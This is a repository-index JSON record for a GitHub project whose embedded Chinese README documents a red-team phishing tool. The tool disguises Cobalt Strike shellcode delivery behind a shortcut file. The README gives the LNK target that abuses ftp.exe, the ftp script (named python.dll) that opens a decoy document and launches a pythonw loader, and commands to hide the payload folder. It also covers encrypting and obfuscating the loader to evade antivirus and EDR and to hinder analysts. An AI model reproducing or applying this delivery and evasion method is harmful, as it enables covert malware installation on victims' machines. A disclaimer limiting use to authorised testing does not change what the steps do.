{"id":22006213,"url":"https://github.com/pizz33/ftplnk_phishing","last_synced_at":"2025-08-10T08:11:13.991Z","repository":{"id":254231627,"uuid":"845880318","full_name":"Pizz33/FTPlnk_phishing","owner":"Pizz33","description":"FTP lnk调用pythonw程序，用于攻防钓鱼场景下免杀运行捆绑木马文件","archived":false,"fork":false,"pushed_at":"2024-08-27T02:28:34.000Z","size":9481,"stargazers_count":61,"open_issues_count":0,"forks_count":7,"subscribers_count":1,"default_branch":"master","last_synced_at":"2025-05-05T21:48:55.941Z","etag":null,"topics":["bypass-antivirus","cobaltstrike","phishing","redteam-tools"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Pizz33.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2024-08-22T05:28:56.000Z","updated_at":"2025-03-26T14:13:36.000Z","dependencies_parsed_at":"2025-05-05T21:44:54.661Z","dependency_job_id":"43dfb001-fec4-4a72-986c-60e217324146","html_url":"https://github.com/Pizz33/FTPlnk_phishing","commit_stats":null,"previous_names":["pizz33/ftplnk_phishing"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/Pizz33/FTPlnk_phishing","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Pizz33%2FFTPlnk_phishing","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Pizz33%2FFTPlnk_phishing/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Pizz33%2FFTPlnk_phishing/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Pizz33%2FFTPlnk_phishing/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Pizz33","download_url":"https://codeload.github.com/Pizz33/FTPlnk_phishing/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Pizz33%2FFTPlnk_phishing/sbom","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":269693593,"owners_count":24460248,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-08-10T02:00:08.965Z","response_time":71,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["bypass-antivirus","cobaltstrike","phishing","redteam-tools"],"created_at":"2024-11-30T01:10:18.768Z","updated_at":"2025-08-10T08:11:13.968Z","avatar_url":"https://github.com/Pizz33.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"## 前言\n \n最近看到一些博客文章对红队样本做了一些分析，估计很快此方法便失效了，决定放出来供红队成员学习研究\n\nhttps://xz.aliyun.com/t/15308?time__1311=GqjxnD2Citq05DK54CqiKq7KYAKW948OObD\n\nhttps://www.52pojie.cn/thread-1956543-1-1.html\n\n其实这种方式在很早之前便出现了，之前更多的是调用powershell易被拦截\n\nhttps://www.freebuf.com/articles/web/325322.html\n\n但通过调用一些白程序(pythonw、javaw)仍可以绕过许多EDR杀软\n\n## 常规程序弊端\n\n- 如果使用捆绑程序释放文档和木马，容易被EDR杀软会标记为恶意，如某数字杀软常会产生 `qvm 报毒拦截`\n- 红队木马被上传沙箱后，容易失效并且可能会导致大量的虚拟beacon上线，对攻击方造成影响\n\n## 使用方式\n\n特此感谢 [pant0m](https://github.com/pant0m)，本工具在其基础上进行二改\n\n1、`cobaltstrike` 生成 `beacon_x64.bin`，或者使用其他C2的shellcode，默认匹配当前目录的第一个bin文件\n\n![image](https://github.com/user-attachments/assets/fc97cb09-f20c-4f38-b639-968d0cdbfb10)\n\n2、运行`generate.py`，自动加密`shellcode`并复制到当前`__init__`文件夹下\n\n![image](https://github.com/user-attachments/assets/bf3081fb-60fc-4bf2-b37f-68463473d453)\n\n3、设置属性隐藏文件夹 `__init__`\n\n```\nattrib -s -h -r __init__\nattrib +s +h +r __init__\n```\n\nLNK属性填写\n\n```\nC:\\Windows\\System32\\ftp.exe -\"\"s:__init__\\python.dll\n```\n![image](https://github.com/user-attachments/assets/3af29388-36b9-44f8-bffb-3f11b2ef488b)\n\npython.dll 内容为\n\n```\n!start /b __init__\\11.docx\n!start /b __init__\\pythonw.exe __init__\\main.py\nbye\n```\n\n## 实现效果\n\n![e58ad4a8c625481495a7137bee2837e](https://github.com/user-attachments/assets/f9b781b9-795f-4304-ad68-67ddac4ab393)\n\n## 代码加解密和混淆\n\nshellcode处理可使用 https://github.com/EgeBalci/sgn\n\n![image](https://github.com/user-attachments/assets/6dcff7a3-42f4-4194-afb5-06015a474395)\n\n加载方式为了简便选择本地解密加载\n\n如果说为了更好的防溯源和被蓝队捕获shellcode可使用远程加载的方式，但需要注意存储桶的权限配置\n\n解密loader因为需要携带在附件内，所以需要尽可能混淆，增加蓝队的逆向难度\n\nhttps://pyob.oxyry.com/\n\n![image](https://github.com/user-attachments/assets/3ad71315-9824-49b5-8196-e75afee1668c) \n\n## 坑点细节\n\n因为文件调用是在上一级目录下，因此`加密shellcode路径`应设置为相对的 `__init__/data.dat`\n\n```\ndef loadjson (file ='__init__/data.dat'):#line:14\n    with open (file ,'r',encoding ='utf-8')as O0OOO00O0OO0O0OO0 :#line:16\n        OOO0O0OO000OOO0O0 =json .load (O0OOO00O0OO0O0OO0 )\n```\n\npythonw.exe需要添加libs依赖才能正常运行，把文件夹下面的文件全部拷贝\n\n```\nC:\\Users\\Administrator\\AppData\\Local\\Programs\\Python\\Python38\\Lib\n```\n其实也可以使用javaw，像上面也有红队使用相关的样本，但是环境依赖太大不推荐，举一反三其他语言同理\n\n## 声明\n\n仅限用于技术研究和获得正式授权的攻防项目，请使用者遵守《中华人民共和国网络安全法》，切勿用于任何非法活动，若将工具做其他用途，由使用者承担全部法律及连带责任，作者及发布者不承担任何法律及连带责任！\n\n使用前先按照文档步骤一步一步来，报错问题自行百度解决，类似issue不予回复，感谢理解！\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fpizz33%2Fftplnk_phishing","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fpizz33%2Fftplnk_phishing","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fpizz33%2Fftplnk_phishing/lists"}